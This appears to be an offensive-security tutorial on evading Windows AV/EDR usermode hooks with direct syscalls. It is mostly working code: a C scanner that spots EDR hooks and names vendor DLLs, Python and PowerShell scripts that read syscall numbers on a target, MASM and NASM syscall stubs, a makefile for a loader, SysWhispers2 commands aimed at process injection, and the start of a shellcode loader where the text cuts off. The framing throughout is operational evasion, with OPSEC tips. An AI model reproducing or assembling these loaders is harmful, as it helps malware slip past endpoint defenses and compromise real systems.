The definitive deep-dive into direct and indirect syscall techniques for bypassing AV/EDR hooks on Windows.
Legend:
[DETECT]= Detection vector |[OPSEC]= Operational Security note |[EDR]= EDR hook behavior |[WIN]= Windows internals concept |[TOOL]= Tool reference |[ASM]= Assembly required |[C]= C code |[CS]= C# / .NET |[PS]= PowerShell |[PY]= Python (attacker prep)
1. Why Syscalls Matter — The EDR Hook Problem
The core problem: Every shellcode loader you write — whether it uses VirtualAlloc, WriteProcessMemory, CreateThread, or NtCreateThreadEx — must ultimately ask the Windows kernel for memory and thread resources. EDR products intercept this communication by placing hooks in usermode to monitor, inspect, and block suspicious API calls.
When an EDR hooks NtAllocateVirtualMemory, every loader that touches memory allocation gets caught at the moment it calls that function. The solution is to skip the hooked function entirely and talk to the kernel yourself — that's exactly what direct syscalls do.
The Problem Visualized
─────────────────────────────────────────────────────────────────────
NORMAL API CALL (EDR Can See Everything):
Your Loader
│
▼
kernel32.dll → VirtualAlloc() ← Win32 layer (hooked)
│
▼
ntdll.dll → NtAllocateVirtualMemory() ← EDR HOOK IS HERE
│ EDR scans args, context,
│ ←─── [EDR HOOK INTERCEPTS] ─────────── call stack
│
▼
syscall instruction → Windows Kernel ← Kernel allocates memory
│
▼
Memory Allocated
─────────────────────────────────────────────────────────────────────
DIRECT SYSCALL (EDR Blind Spot):
Your Loader
│
▼
Custom Assembly Stub ← You write this yourself
│ mov r10, rcx
│ mov eax, <syscall_number> ← Hardcoded or resolved at runtime
│ syscall ← Goes directly to kernel
│
▼
Windows Kernel ← Kernel allocates memory
│
▼
Memory Allocated
← EDR hook was NEVER called
─────────────────────────────────────────────────────────────────────
Detection Surface Comparison
| Technique | EDR Hook Hit | API Signature | Stack Trace | Kernel Callback |
|---|---|---|---|---|
VirtualAlloc (Win32) |
✅ Yes | ✅ Yes | ✅ Yes | ✅ Yes |
NtAllocateVirtualMemory (ntdll) |
✅ Yes (hooked) | ✅ Yes | ✅ Yes | ✅ Yes |
| Direct Syscall (manual stub) | ❌ No hook hit | ❌ No signature | ⚠️ Anomalous stack | ✅ Yes |
| Indirect Syscall (ntdll syscall addr) | ❌ No hook hit | ❌ No signature | ✅ Looks normal | ✅ Yes |
[OPSEC]Kernel-level callbacks (PsSetCreateProcessNotifyRoutine, etc.) still fire on direct syscalls — you cannot bypass kernel callbacks with syscalls alone. But you DO bypass all usermode hook-based EDR engines, which covers most commercial EDR products.
2. Windows API Architecture — The Full Stack
Before bypassing anything, you need to understand exactly what you're bypassing. The Windows API has multiple layers between your code and the kernel.
╔══════════════════════════════════════════════════════════════════╗
║ USER APPLICATION (loader.exe / powershell.exe / etc.) ║
╚══════════════════════════════════════════════════════════════════╝
│
calls Win32 API
│
╔══════════════════════════════════════════════════════════════════╗
║ LAYER 1: Win32 API (kernel32.dll, advapi32.dll, etc.) ║
║ ║
║ VirtualAlloc() → Maps to NtAllocateVirtualMemory ║
║ WriteProcessMemory() → Maps to NtWriteVirtualMemory ║
║ CreateThread() → Maps to NtCreateThreadEx ║
║ OpenProcess() → Maps to NtOpenProcess ║
║ ║
║ [EDR] Often hooks here too (IAT hooks, inline hooks) ║
╚══════════════════════════════════════════════════════════════════╝
│
thin wrappers → calls Nt* functions
│
╔══════════════════════════════════════════════════════════════════╗
║ LAYER 2: Native API / ntdll.dll ║
║ ║
║ NtAllocateVirtualMemory() ║
║ NtWriteVirtualMemory() ║
║ NtCreateThreadEx() ║
║ NtOpenProcess() ║
║ NtProtectVirtualMemory() ║
║ ║
║ [EDR] PRIMARY HOOK LOCATION — inline hooks on Nt* functions ║
║ [EDR] Typically patches first 5-10 bytes with JMP to EDR DLL ║
╚══════════════════════════════════════════════════════════════════╝
│
syscall instruction (int 2E on x86, syscall on x64)
│
╔══════════════════════════════════════════════════════════════════╗
║ LAYER 3: Windows Kernel (ntoskrnl.exe) ║
║ ║
║ System Service Descriptor Table (SSDT) ║
║ Kernel validates and executes syscall ║
║ ║
║ [EDR] Kernel callbacks still fire (kernel-mode EDR drivers) ║
╚══════════════════════════════════════════════════════════════════╝
Key Insight: What a Syscall Stub Looks Like
In an unhooked ntdll, each Nt* function is a tiny stub that does nothing except load the syscall number and execute syscall:
; NtAllocateVirtualMemory — unhooked version in ntdll.dll
; This is what the function looks like when no EDR is installed
NtAllocateVirtualMemory:
4C 8B D1 mov r10, rcx ; Windows calling convention requirement
B8 18 00 00 00 mov eax, 0x18 ; Syscall number (0x18 = NtAllocateVirtualMemory on Win10 21H2)
0F 05 syscall ; Transfer to kernel
C3 ret ; Return to caller
When an EDR hooks this function, the first bytes get overwritten with a JMP to the EDR's analysis code:
; NtAllocateVirtualMemory — HOOKED version (EDR present)
NtAllocateVirtualMemory:
E9 XX XX XX XX jmp <EDR_DLL + offset> ; EDR replaced first 5 bytes!
00 00 (garbage/displaced bytes)
0F 05 syscall ; EDR's code eventually reaches here
C3 ret
When YOUR direct syscall stub executes syscall directly — the EDR's JMP never runs. The kernel gets called, the EDR hook is completely bypassed.
3. How EDR Hooks Work (Usermode Hooking Deep Dive)
Understanding how EDR hooks are placed helps you understand what you're bypassing and what still fires.
3.1 Inline Hooking (Most Common)
The EDR driver, during process creation, writes a JMP instruction over the first 5 bytes of target functions in ntdll.dll in every new process's memory space.
BEFORE HOOK (clean ntdll):
Offset Bytes Disassembly
0x0000 4C 8B D1 mov r10, rcx
0x0003 B8 18 00 00 00 mov eax, 0x18
0x0008 0F 05 syscall
0x000A C3 ret
AFTER HOOK (EDR installed):
Offset Bytes Disassembly
0x0000 E9 AB CD EF 01 jmp <EDR hook handler>
0x0005 00 00 00 (displaced original bytes)
0x0008 0F 05 syscall
0x000A C3 ret
The EDR hook handler:
1. Captures all arguments to the call
2. Examines the call stack (who called NtAllocateVirtualMemory?)
3. Checks memory protection flags, sizes, access rights
4. Either blocks the call, logs it, or allows it through to the real syscall
5. Jumps to a "trampoline" that executes the displaced bytes and returns to the real function
3.2 IAT Hooking
Some EDRs also hook the Import Address Table (IAT) of your process — replacing function pointers in the IAT with EDR handler addresses. This catches Win32-level calls (VirtualAlloc etc.) before they even reach ntdll.
// IAT entry for VirtualAlloc before hooking:
// kernel32.VirtualAlloc → 0x7FFE1234ABCD (real kernel32 address)
// IAT entry after EDR hooks it:
// kernel32.VirtualAlloc → 0x7FFE00001000 (EDR monitoring DLL)
Direct syscalls completely bypass IAT hooks because you never call through the IAT at all.
3.3 What EDR DLLs Are Typically Injected
Common EDR DLLs you'll see in hooked processes:
CrowdStrike Falcon: CSFalconService.dll, hmpalert.dll
SentinelOne: InProcessClient32.dll / InProcessClient64.dll
Carbon Black: RepMon.dll
Cylance: CylanceMemDef64.dll
Sophos: SophosED.dll
Windows Defender ATP: MpOav.dll, MsMpEng.dll injected components
Symantec: symevent.dll
McAfee: mfehidk.dll components
# Check what's loaded in your target process:
Get-Process powershell | Select-Object -ExpandProperty Modules | Where-Object {$_.ModuleName -like "*.dll"} | Select ModuleName, FileName
3.4 Examining Hooks at Runtime
// Check if a function is hooked by reading its first bytes:
#include <windows.h>
#include <stdio.h>
void CheckHook(const char* dllName, const char* funcName) {
HMODULE hDll = GetModuleHandleA(dllName);
if (!hDll) hDll = LoadLibraryA(dllName);
BYTE* func = (BYTE*)GetProcAddress(hDll, funcName);
if (!func) { printf("[-] %s not found in %s\n", funcName, dllName); return; }
printf("[*] %s!%s @ 0x%p: ", dllName, funcName, func);
for (int i = 0; i < 10; i++) printf("%02X ", func[i]);
printf("\n");
// Detect inline hook: first byte is E9 (JMP) or E8 (CALL) or FF25 (JMP [ptr])
if (func[0] == 0xE9 || func[0] == 0xE8) {
printf(" [!] HOOKED — JMP instruction detected at function start!\n");
} else if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1) {
printf(" [+] Clean — standard syscall stub pattern\n");
} else {
printf(" [?] Unusual prologue — possibly hooked differently\n");
}
}
int main(void) {
CheckHook("ntdll.dll", "NtAllocateVirtualMemory");
CheckHook("ntdll.dll", "NtWriteVirtualMemory");
CheckHook("ntdll.dll", "NtProtectVirtualMemory");
CheckHook("ntdll.dll", "NtCreateThreadEx");
CheckHook("ntdll.dll", "NtOpenProcess");
CheckHook("ntdll.dll", "NtReadVirtualMemory");
return 0;
}
# Compile and run to see which functions are hooked on target:
x86_64-w64-mingw32-gcc hook_check.c -o hook_check.exe
# Run on target — hooked functions show E9 XX XX XX XX at start
4. Detecting EDR Hooks at Runtime
Before executing your payload, it's useful to know exactly which functions are hooked and by which EDR. This informs your evasion strategy.
4.1 Hook Detector Utility
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// List of Nt* functions to check
const char* nt_functions[] = {
"NtAllocateVirtualMemory",
"NtAllocateVirtualMemoryEx",
"NtWriteVirtualMemory",
"NtReadVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtOpenProcess",
"NtOpenThread",
"NtSuspendThread",
"NtResumeThread",
"NtGetContextThread",
"NtSetContextThread",
"NtQueueApcThread",
"NtMapViewOfSection",
"NtUnmapViewOfSection",
"NtCreateSection",
"NtLoadDriver",
"LdrLoadDll",
"NtCreateProcess",
"NtCreateUserProcess",
NULL
};
BOOL IsHooked(BYTE* funcAddr) {
// Clean syscall stub starts with: 4C 8B D1 (mov r10, rcx)
// Hooked stubs often start with: E9 (JMP rel32) or FF 25 (JMP [rip+X])
if (funcAddr[0] == 0xE9) return TRUE; // JMP rel32
if (funcAddr[0] == 0xFF && funcAddr[1] == 0x25) return TRUE; // JMP [RIP+X]
if (funcAddr[0] == 0xE8) return TRUE; // CALL rel32 (some hooks use this)
if (funcAddr[0] == 0x48 && funcAddr[1] == 0xB8) return TRUE; // MOV RAX, imm64 (some)
return FALSE;
}
DWORD ExtractSyscallNumber(BYTE* funcAddr) {
// Standard pattern: 4C 8B D1 B8 [syscall_num_4bytes] 0F 05 C3
// Syscall number is at bytes [4..7] (after mov r10,rcx and start of mov eax,X)
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&
funcAddr[3] == 0xB8) {
return *(DWORD*)(funcAddr + 4);
}
return 0xFFFFFFFF; // Unknown
}
void ScanHooks(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
printf("╔══════════════════════════════════════════════════════════╗\n");
printf("║ ntdll.dll Hook Scanner ║\n");
printf("╚══════════════════════════════════════════════════════════╝\n\n");
printf("%-40s %-8s %s\n", "Function", "Syscall#", "Status");
printf("%-40s %-8s %s\n", "--------", "--------", "------");
for (int i = 0; nt_functions[i] != NULL; i++) {
BYTE* func = (BYTE*)GetProcAddress(ntdll, nt_functions[i]);
if (!func) {
printf("%-40s %-8s NOT FOUND\n", nt_functions[i], "N/A");
continue;
}
BOOL hooked = IsHooked(func);
DWORD sysnum = ExtractSyscallNumber(func);
char sysnum_str[16];
if (sysnum == 0xFFFFFFFF) sprintf_s(sysnum_str, sizeof(sysnum_str), "HOOKED");
else sprintf_s(sysnum_str, sizeof(sysnum_str), "0x%04X", sysnum);
printf("%-40s %-8s %s\n", nt_functions[i], sysnum_str,
hooked ? "[!] HOOKED" : "[+] Clean");
}
// Also list suspicious DLLs loaded in this process
printf("\n[*] Loaded modules (suspicious):\n");
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
while (Module32Next(hSnap, &me)) {
char* name = me.szModule;
// Flag common EDR DLLs
if (strstr(name, "falcon") || strstr(name, "carbon") || strstr(name, "cylance") ||
strstr(name, "sentinel") || strstr(name, "sophos") || strstr(name, "hmpalert") ||
strstr(name, "mfehidk") || strstr(name, "symev") || strstr(name, "mbae")) {
printf(" [EDR DLL DETECTED]: %s at 0x%p\n", name, me.modBaseAddr);
}
}
CloseHandle(hSnap);
}
int main(void) {
ScanHooks();
return 0;
}
# Compile:
x86_64-w64-mingw32-gcc -o hook_scanner.exe hook_scanner.c
# Expected output on system WITH EDR:
# NtAllocateVirtualMemory HOOKED [!] HOOKED
# NtCreateThreadEx HOOKED [!] HOOKED
# [EDR DLL DETECTED]: CsFalcon64.dll at 0x00007FF...
# Expected output on clean system:
# NtAllocateVirtualMemory 0x0018 [+] Clean
# NtCreateThreadEx 0x00C2 [+] Clean
5. Direct Syscalls — Concept and Theory
Direct syscalls mean: instead of calling ntdll!NtAllocateVirtualMemory (which may be hooked), you issue the syscall CPU instruction yourself, with the correct syscall number loaded in EAX, bypassing ntdll entirely.
5.1 What a Direct Syscall Achieves
WITHOUT direct syscall:
loader → ntdll.NtAllocateVirtualMemory → [EDR HOOK → JMP to EDR] → kernel
WITH direct syscall:
loader → your_custom_stub (syscall instruction) → kernel directly
↑
EDR hook never called
5.2 The x64 Syscall Calling Convention
On x64 Windows, the syscall calling convention is strict:
; x64 Syscall Calling Convention:
; EAX = Syscall Number (which kernel function to call)
; R10 = First argument (usually RCX in normal calls — must be moved!)
; RDX = Second argument
; R8 = Third argument
; R9 = Fourth argument
; Stack (RSP+0x28, +0x30, ...) = 5th, 6th, 7th... arguments
; IMPORTANT: Windows x64 passes args in RCX, RDX, R8, R9
; But syscall clobbers RCX — so the kernel convention uses R10 for arg1
; That's why every syscall stub does: mov r10, rcx
5.3 What Happens at the syscall Instruction
CPU executes 'syscall' instruction:
├─ CPU switches from Ring 3 (user mode) to Ring 0 (kernel mode)
├─ RIP is saved (return address)
├─ CPU reads IA32_LSTAR MSR → this holds the kernel's syscall handler address
├─ CPU jumps to KiSystemCall64 (kernel entry point)
├─ KiSystemCall64 reads EAX (syscall number)
├─ Uses SSDT (System Service Descriptor Table) to find the right kernel function
├─ Executes the kernel function with arguments from R10, RDX, R8, R9, stack
├─ Returns to user mode at saved RIP
└─ Loader continues after 'syscall' instruction
5.4 Critical Requirement: Correct Syscall Numbers
The most important constraint: Syscall numbers are NOT fixed constants. They change between Windows versions and sometimes between updates. NtAllocateVirtualMemory might be 0x0018 on Windows 10 21H2 but 0x0019 on a different build.
NtAllocateVirtualMemory syscall numbers across versions (example, verify current):
Windows 7 SP1 (x64): 0x0015
Windows 8.1 (x64): 0x0016
Windows 10 1507: 0x0017
Windows 10 1607: 0x0018
Windows 10 21H2: 0x0018
Windows 11 22H2: 0x0018
Windows 11 23H2: 0x0018
(Numbers can drift on minor updates — ALWAYS resolve at runtime for production use)
6. Syscall Numbers — How They Work and Why They Change
6.1 The System Service Descriptor Table (SSDT)
The SSDT is a kernel-level array that maps syscall numbers (indices) to kernel function addresses. When you execute syscall with EAX=0x0018, the kernel reads SSDT[0x18] to find which function to call.
// Kernel-side (conceptual — you can't access this from usermode):
// SSDT entry structure (simplified)
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PULONG_PTR Base; // Pointer to array of function offsets
PULONG Count; // Reference counts
ULONG Limit; // Number of entries
PUCHAR Number; // Argument table
} KSERVICE_TABLE_DESCRIPTOR;
// SSDT[0x0018] → points to NtAllocateVirtualMemory in kernel
// SSDT[0x00C2] → points to NtCreateThreadEx in kernel
// etc.
6.2 Why Syscall Numbers Change
Microsoft occasionally adds, removes, or reorders syscalls between Windows versions. Since the SSDT is rebuilt each version, the indices shift:
If Microsoft adds a new syscall "NtNewFunction" between NtAllocate and NtWrite,
everything after it shifts by 1:
Before: NtAllocateVirtualMemory=0x18, NtWriteVirtualMemory=0x3A
After: NtAllocateVirtualMemory=0x18, NtNewFunction=0x19, NtWriteVirtualMemory=0x3B
This is why hardcoded syscall numbers are dangerous for production tools — they need to be dynamically resolved.
6.3 Syscall Number Reference Table (Common Functions)
[OPSEC]These are reference values — always resolve dynamically at runtime. These may be outdated for your target build. Use the tools in Sections 8-13 for production use.
Function Win10 1903 Win10 21H2 Win11 22H2
────────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory 0x0018 0x0018 0x0018
NtAllocateVirtualMemoryEx 0x00CD 0x00CD 0x00CD
NtWriteVirtualMemory 0x003A 0x003A 0x003A
NtReadVirtualMemory 0x003F 0x003F 0x003F
NtProtectVirtualMemory 0x0050 0x0050 0x0050
NtCreateThreadEx 0x00C2 0x00C2 0x00C2
NtOpenProcess 0x0026 0x0026 0x0026
NtOpenThread 0x0129 0x012A 0x012C
NtSuspendThread 0x00BD 0x00BD 0x00BD
NtResumeThread 0x0052 0x0052 0x0052
NtQueueApcThread 0x0069 0x0069 0x0069
NtMapViewOfSection 0x0028 0x0028 0x0028
NtUnmapViewOfSection 0x002A 0x002A 0x002A
NtCreateSection 0x004A 0x004A 0x004A
NtGetContextThread 0x00F5 0x00F5 0x00F5
NtSetContextThread 0x00DA 0x00DA 0x00DA
(Source: j00ru's syscall tables — verify at: https://j00ru.vexillium.org/syscalls/nt/64/)
6.4 How to Extract Syscall Numbers from a Live System
# PY — Extract syscall numbers from ntdll on target system
# Run this Python script on the target Windows machine
import ctypes
import ctypes.wintypes as wt
import struct
def get_syscall_number(func_name):
ntdll = ctypes.WinDLL("ntdll.dll")
func = getattr(ntdll, func_name, None)
if not func:
return None
addr = ctypes.cast(func, ctypes.c_void_p).value
# Read 8 bytes from function start
buf = (ctypes.c_byte * 8)()
ctypes.memmove(buf, addr, 8)
# Check for standard syscall stub pattern: 4C 8B D1 B8 [num] ...
if bytes(buf[:4]) == bytes([0x4C, 0x8B, 0xD1, 0xB8]):
num = struct.unpack_from('<I', bytes(buf[4:8]))[0]
return num
return None # Possibly hooked
functions = [
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtOpenProcess",
"NtQueueApcThread",
"NtMapViewOfSection",
"NtCreateSection",
]
for f in functions:
num = get_syscall_number(f)
if num is not None:
print(f"{f:<40} 0x{num:04X}")
else:
print(f"{f:<40} HOOKED or NOT FOUND")
# PS — Quick syscall number check via PowerShell
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {$_.Location -match "ntdll"}
)
# Alternatively via reflection:
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr m, string f);
"@
$k = Add-Type -MemberDefinition $code -Name "K" -Namespace "Win32" -PassThru
$ntdll = $k::GetModuleHandle("ntdll.dll")
$funcAddr = $k::GetProcAddress($ntdll, "NtAllocateVirtualMemory")
$bytes = New-Object byte[] 8
[System.Runtime.InteropServices.Marshal]::Copy($funcAddr, $bytes, 0, 8)
# Check if bytes[0..3] == 4C 8B D1 B8 (clean stub)
if ($bytes[0] -eq 0x4C -and $bytes[1] -eq 0x8B -and $bytes[2] -eq 0xD1 -and $bytes[3] -eq 0xB8) {
$sysnum = [System.BitConverter]::ToUInt32($bytes, 4)
Write-Host "NtAllocateVirtualMemory syscall number: 0x$($sysnum.ToString('X4'))"
} else {
Write-Host "NtAllocateVirtualMemory appears HOOKED (first bytes: $($bytes[0..4] -join ' '))"
}
7. Writing Manual Syscall Stubs (Assembly)
This is the foundation — writing the actual assembly stubs that issue syscalls directly. You write one stub per NT function you want to call.
7.1 Basic Stub Structure (MASM — Windows Assembler)
; syscalls.asm — Direct syscall stubs
; Assemble with: ml64.exe /c syscalls.asm
.code
; ─────────────────────────────────────────────────────────────────
; NtAllocateVirtualMemory — Syscall stub
; Prototype:
; NTSTATUS NtAllocateVirtualMemory(
; HANDLE ProcessHandle,
; PVOID* BaseAddress,
; ULONG_PTR ZeroBits,
; PSIZE_T RegionSize,
; ULONG AllocationType,
; ULONG Protect
; );
; ─────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move 1st arg from RCX to R10 (Windows syscall req)
mov eax, 18h ; Syscall number — CHANGE THIS PER TARGET BUILD!
syscall ; Issue syscall → kernel
ret ; Return NTSTATUS to caller
NtAllocateVirtualMemory ENDP
; ─────────────────────────────────────────────────────────────────
; NtWriteVirtualMemory
; NTSTATUS NtWriteVirtualMemory(
; HANDLE ProcessHandle,
; PVOID BaseAddress,
; PVOID Buffer,
; SIZE_T NumberOfBytesToWrite,
; PSIZE_T NumberOfBytesWritten
; );
; ─────────────────────────────────────────────────────────────────
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah ; Syscall number for NtWriteVirtualMemory
syscall
ret
NtWriteVirtualMemory ENDP
; ─────────────────────────────────────────────────────────────────
; NtProtectVirtualMemory
; NTSTATUS NtProtectVirtualMemory(
; HANDLE ProcessHandle,
; PVOID* BaseAddress,
; PSIZE_T RegionSize,
; ULONG NewProtect,
; PULONG OldProtect
; );
; ─────────────────────────────────────────────────────────────────
NtProtectVirtualMemory PROC
mov r10, rcx
mov eax, 50h ; Syscall number for NtProtectVirtualMemory
syscall
ret
NtProtectVirtualMemory ENDP
; ─────────────────────────────────────────────────────────────────
; NtCreateThreadEx
; NTSTATUS NtCreateThreadEx(
; PHANDLE ThreadHandle,
; ACCESS_MASK DesiredAccess,
; PVOID ObjectAttributes,
; HANDLE ProcessHandle,
; PVOID StartRoutine,
; PVOID Argument,
; ULONG CreateFlags,
; SIZE_T ZeroBits,
; SIZE_T StackSize,
; SIZE_T MaximumStackSize,
; PVOID AttributeList
; );
; ─────────────────────────────────────────────────────────────────
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 0C2h ; Syscall number for NtCreateThreadEx
syscall
ret
NtCreateThreadEx ENDP
; ─────────────────────────────────────────────────────────────────
; NtOpenProcess
; NTSTATUS NtOpenProcess(
; PHANDLE ProcessHandle,
; ACCESS_MASK DesiredAccess,
; POBJECT_ATTRIBUTES ObjectAttributes,
; PCLIENT_ID ClientId
; );
; ─────────────────────────────────────────────────────────────────
NtOpenProcess PROC
mov r10, rcx
mov eax, 26h ; Syscall number for NtOpenProcess
syscall
ret
NtOpenProcess ENDP
; NtWaitForSingleObject
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, 4h
syscall
ret
NtWaitForSingleObject ENDP
end
7.2 NASM Version (Cross-Platform Compilation from Linux)
; syscalls_nasm.asm — NASM format (compile from Linux)
; nasm -f win64 syscalls_nasm.asm -o syscalls_nasm.obj
; Then link with your C code
global NtAllocateVirtualMemory
global NtWriteVirtualMemory
global NtProtectVirtualMemory
global NtCreateThreadEx
global NtOpenProcess
global NtWaitForSingleObject
section .text
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 0x18
syscall
ret
NtWriteVirtualMemory:
mov r10, rcx
mov eax, 0x3A
syscall
ret
NtProtectVirtualMemory:
mov r10, rcx
mov eax, 0x50
syscall
ret
NtCreateThreadEx:
mov r10, rcx
mov eax, 0xC2
syscall
ret
NtOpenProcess:
mov r10, rcx
mov eax, 0x26
syscall
ret
NtWaitForSingleObject:
mov r10, rcx
mov eax, 0x04
syscall
ret
7.3 Corresponding C Header File
// syscalls.h — Declarations for your manual assembly stubs
#pragma once
#include <windows.h>
#include <winternl.h>
// NTSTATUS return code definitions
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
// Ensure we have the OBJECT_ATTRIBUTES structure
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// Helper macro
#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
// ─── Function declarations (implemented in assembly stubs) ───────
NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
NTSTATUS NtProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
NTSTATUS NtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
NTSTATUS NtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
7.4 Build System (CMakeLists / makefile)
# Makefile — cross-compile from Linux with MinGW + NASM
CC = x86_64-w64-mingw32-gcc
NASM = nasm
CFLAGS = -masm=intel -Wall -Wno-incompatible-pointer-types
LDFLAGS = -mwindows
all: loader.exe
syscalls_nasm.obj: syscalls_nasm.asm
$(NASM) -f win64 syscalls_nasm.asm -o syscalls_nasm.obj
loader.exe: loader.c syscalls.h syscalls_nasm.obj
$(CC) $(CFLAGS) loader.c syscalls_nasm.obj -o loader.exe $(LDFLAGS)
clean:
rm -f *.obj *.exe
8. SysWhispers2 — Automated Direct Syscall Generation
SysWhispers2 is the go-to tool for generating correct, version-aware direct syscall stubs automatically. It handles syscall number resolution at runtime — no hardcoded numbers.
8.1 Installation
# Clone SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2
# Install Python dependencies
pip3 install -r requirements.txt
# Verify it works
python3 syswhispers.py --help
8.2 Generating Stubs
# ─── Generate stubs for specific functions ───
# Minimum required for a basic shellcode loader:
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls
# Extended set (for process injection into remote process):
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess,NtQueueApcThread,\
NtSuspendThread,NtResumeThread,NtGetContextThread,NtSetContextThread,\
NtWaitForSingleObject,NtClose \
--output syscalls
# Generate ALL NT functions (large output — useful for a comprehensive tool):
python3 syswhispers.py --preset all --output syscalls_all
# Generate for specific Windows versions only:
python3 syswhispers.py --functions NtCreateThreadEx --versions 10.0.19041,10.0.22621 --output syscalls
# Output files generated:
# syscalls.h → C declarations + SW2_SYSCALL_ENTRY struct
# syscalls.c → Runtime syscall number resolution logic
# syscallsstubs.asm → MASM assembly stubs
8.3 Understanding the Generated Output
// syscalls.h (generated by SysWhispers2 — excerpt)
#pragma once
#include <windows.h>
#include <winternl.h>
// SW2_SYSCALL_ENTRY — maps function hash to syscall number
// Populated at runtime by SW2_PopulateSyscallList()
typedef struct _SW2_SYSCALL_ENTRY {
DWORD Hash; // Hash of function name (e.g., NtAllocateVirtualMemory)
DWORD Address; // Resolved syscall number
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
// SW2_SYSCALL_LIST — array of all resolved syscall entries
typedef struct _SW2_SYSCALL_LIST {
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
// This function MUST be called first — it scans ntdll and builds the syscall table
BOOL SW2_PopulateSyscallList(void);
// Automatically generated declarations for each requested function:
NTSTATUS NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS NtWriteVirtualMemory(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
NTSTATUS NtCreateThreadEx(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
; syscallsstubs.asm (generated — excerpt)
; This is MASM format
.code
; SW2_GetSyscallNumber — looks up syscall number from the populated table
EXTERN SW2_GetSyscallNumber: PROC
NtAllocateVirtualMemory PROC
sub rsp, 28h ; Shadow space
mov ecx, 3DE4A5FDh ; Hash of "NtAllocateVirtualMemory"
call SW2_GetSyscallNumber ; Returns syscall number in EAX
add rsp, 28h
mov r10, rcx
syscall ; Issue syscall with resolved number
ret
NtAllocateVirtualMemory ENDP
8.4 Using SysWhispers2 in Your Loader
// loader_sw2.c — Complete loader using SysWhispers2 generated stubs
#include "syscalls.h" // SysWhispers2 generated header
#include <stdio.h>
// Example encrypted shellcode placeholder (XOR key 0x41)
unsigned char enc_shellcode[] = {
0xD1, 0xD1, 0xD1, 0x82 // XOR'd: 0x90,0x90,0x90,0xC3 = NOP NOP NOP RET
};
unsigned int sc_len = sizeof(enc_shellcode);
char xor_key = 0x41;
int main(void) {
// STEP 0: Populate the syscall number table
// This scans ntdll.dll at runtime to find correct syscall numbers
// MUST be called before any SW2_ functions!
if (!SW2_PopulateSyscallList()) {
printf("[-] Failed to populate syscall list\n");
return 1;
}
printf("[+] Syscall list populated successfully\n");
HANDLE hProc = (HANDLE)-1; // -1 = current process pseudohandle
// STEP 1: Allocate RW memory (direct syscall — EDR bypass!)
PVOID baseAddr = NULL;
SIZE_T region = sc_len;
NTSTATUS status = NtAllocateVirtualMemory(
hProc,
&baseAddr,
0,
®ion,
